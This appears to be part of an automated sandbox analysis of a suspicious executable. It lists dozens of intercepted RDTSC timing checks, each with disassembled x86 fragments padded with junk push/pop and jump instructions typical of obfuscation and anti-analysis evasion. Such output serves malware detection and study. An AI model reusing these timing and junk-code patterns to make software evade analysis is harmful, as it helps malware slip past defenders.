Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8AEC second address: 11E8AF2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8AF2 second address: 11E8B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 ja 00007FEDA531E8C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8B03 second address: 11E8B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FEDA51D0EBAh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jo 00007FEDA51D0EB6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EEEE2 second address: 11EEEE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF4B8 second address: 11EF4EA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FEDA51D0EC6h 0x00000008 jnp 00007FEDA51D0EB6h 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jo 00007FEDA51D0ED9h 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007FEDA51D0EB6h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF4EA second address: 11EF4EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF931 second address: 11EF936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFAC8 second address: 11EFAD2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEDA531E8C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFAD2 second address: 11EFAD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFC5B second address: 11EFC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFC68 second address: 11EFC84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EC8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9A6E second address: 11F9A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEDA531E8DBh 0x0000000a jne 00007FEDA531E8C6h 0x00000010 jmp 00007FEDA531E8CFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9742 second address: 11F9746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB07A second address: 11FB07E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB07E second address: 11FB082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB082 second address: 11FB088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206BFD second address: 1206C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206C01 second address: 1206C23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D0h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jl 00007FEDA531E8C6h 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206C23 second address: 1206C29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206C29 second address: 1206C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206639 second address: 1206645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206645 second address: 120665C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FEDA531E8C6h 0x00000009 jnc 00007FEDA531E8C6h 0x0000000f jg 00007FEDA531E8C6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120665C second address: 1206664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12084AC second address: 12084CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jnc 00007FEDA531E8CCh 0x00000011 jns 00007FEDA531E8C6h 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121DD53 second address: 121DD59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121DD59 second address: 121DD5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225593 second address: 12255B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEDA51D0EC2h 0x00000008 jno 00007FEDA51D0EB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12255B0 second address: 12255B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12255B6 second address: 12255E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FEDA51D0EC0h 0x0000000f jmp 00007FEDA51D0EC2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12255E1 second address: 12255EB instructions: 0x00000000 rdtsc 0x00000002 je 00007FEDA531E8D8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112BB09 second address: 112BB25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FEDA51D0EBFh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223D0A second address: 1223D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA531E8D8h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FEDA531E8D5h 0x00000012 jmp 00007FEDA531E8D6h 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223D5E second address: 1223D62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223EDF second address: 1223EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jp 00007FEDA531E8C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224087 second address: 12240A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC8h 0x00000007 jne 00007FEDA51D0EC2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12240A9 second address: 12240AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224361 second address: 1224365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224365 second address: 122437F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FEDA531E8D8h 0x0000000c jmp 00007FEDA531E8CCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224651 second address: 122465F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jnp 00007FEDA51D0EB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122465F second address: 1224665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224665 second address: 122466B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12252DE second address: 12252E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12252E6 second address: 12252FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FEDA51D0EBDh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12252FE second address: 1225302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226D19 second address: 1226D1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226D1D second address: 1226D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FEDA531E8C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jmp 00007FEDA531E8D9h 0x00000012 jmp 00007FEDA531E8D0h 0x00000017 pop ebx 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d pop eax 0x0000001e push edx 0x0000001f pop edx 0x00000020 push edx 0x00000021 pop edx 0x00000022 push edi 0x00000023 pop edi 0x00000024 popad 0x00000025 pushad 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 jmp 00007FEDA531E8D5h 0x0000002d jmp 00007FEDA531E8CAh 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226D84 second address: 1226D8B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A9F7 second address: 122A9FD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A9FD second address: 122AA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AA03 second address: 122AA1B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007FEDA531E8C6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEDA531E8CAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AA1B second address: 122AA34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA51D0EC3h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AA34 second address: 122AA3A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239198 second address: 12391A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12391A1 second address: 12391B1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEDA531E8C6h 0x00000008 je 00007FEDA531E8C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12391B1 second address: 12391CA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEDA51D0EB8h 0x00000008 pushad 0x00000009 jmp 00007FEDA51D0EBCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261C53 second address: 1261C59 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262386 second address: 12623CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007FEDA51D0EBEh 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007FEDA51D0EC9h 0x00000013 jp 00007FEDA51D0EBCh 0x00000019 je 00007FEDA51D0EB6h 0x0000001f jc 00007FEDA51D0ED0h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126269E second address: 12626A3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262804 second address: 1262821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EC9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262821 second address: 1262832 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEDA531E8C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262832 second address: 1262836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262836 second address: 126283C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126283C second address: 1262846 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEDA51D0EBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266DF3 second address: 1266E62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FEDA531E8C8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D2F10h], ebx 0x0000002c xor edx, dword ptr [ebp+1249562Ch] 0x00000032 push 00000004h 0x00000034 mov dword ptr [ebp+122D1E4Ch], esi 0x0000003a call 00007FEDA531E8C9h 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jmp 00007FEDA531E8CEh 0x00000047 pushad 0x00000048 popad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266E62 second address: 1266E79 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007FEDA51D0EBCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266E79 second address: 1266E7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126719D second address: 12671A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12671A3 second address: 12671A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12671A7 second address: 12671DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jng 00007FEDA51D0EBCh 0x00000016 jc 00007FEDA51D0EB6h 0x0000001c je 00007FEDA51D0EB8h 0x00000022 push eax 0x00000023 pop eax 0x00000024 popad 0x00000025 mov eax, dword ptr [eax] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12671DB second address: 12671DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12671DF second address: 12671F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A686 second address: 126A694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FEDA531E8C6h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B422 second address: 117B458 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FEDA51D0EC8h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B76B second address: 117B78D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B78D second address: 117B793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B793 second address: 117B7AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA531E8D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B03A8 second address: 48B03DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FEDA51D0EC0h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 movsx edx, si 0x00000017 mov di, cx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B03DD second address: 48B042A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEDA531E8D1h 0x00000009 xor si, 8126h 0x0000000e jmp 00007FEDA531E8D1h 0x00000013 popfd 0x00000014 movzx esi, di 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov edx, dword ptr [ebp+0Ch] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FEDA531E8D6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B042A second address: 48B0463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 pushfd 0x00000006 jmp 00007FEDA51D0EBDh 0x0000000b or cl, FFFFFFE6h 0x0000000e jmp 00007FEDA51D0EC1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ecx, dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov di, BE6Eh 0x00000021 movsx edi, ax 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B04BE second address: 48B04C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E05CE second address: 48E0604 instructions: 0x00000000 rdtsc 0x00000002 mov ah, 26h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b call 00007FEDA51D0EBFh 0x00000010 pop eax 0x00000011 call 00007FEDA51D0EC9h 0x00000016 pop esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0604 second address: 48E065E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c jmp 00007FEDA531E8D0h 0x00000011 xchg eax, esi 0x00000012 jmp 00007FEDA531E8D0h 0x00000017 push eax 0x00000018 jmp 00007FEDA531E8CBh 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FEDA531E8D5h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E065E second address: 48E0697 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bl, 3Fh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lea eax, dword ptr [ebp-04h] 0x0000000d jmp 00007FEDA51D0EC4h 0x00000012 nop 0x00000013 jmp 00007FEDA51D0EC0h 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0697 second address: 48E069D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E069D second address: 48E06B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA51D0EC2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E07A3 second address: 48E07AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E07AA second address: 48E07E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, esi 0x00000009 pushad 0x0000000a call 00007FEDA51D0EBDh 0x0000000f jmp 00007FEDA51D0EC0h 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 call 00007FEDA51D0EC1h 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E07E6 second address: 48E0832 instructions: 0x00000000 rdtsc 0x00000002 call 00007FEDA531E8D1h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop esi 0x0000000c pushad 0x0000000d mov bl, 05h 0x0000000f jmp 00007FEDA531E8D6h 0x00000014 popad 0x00000015 leave 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FEDA531E8D7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48E0832 second address: 48E0838 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
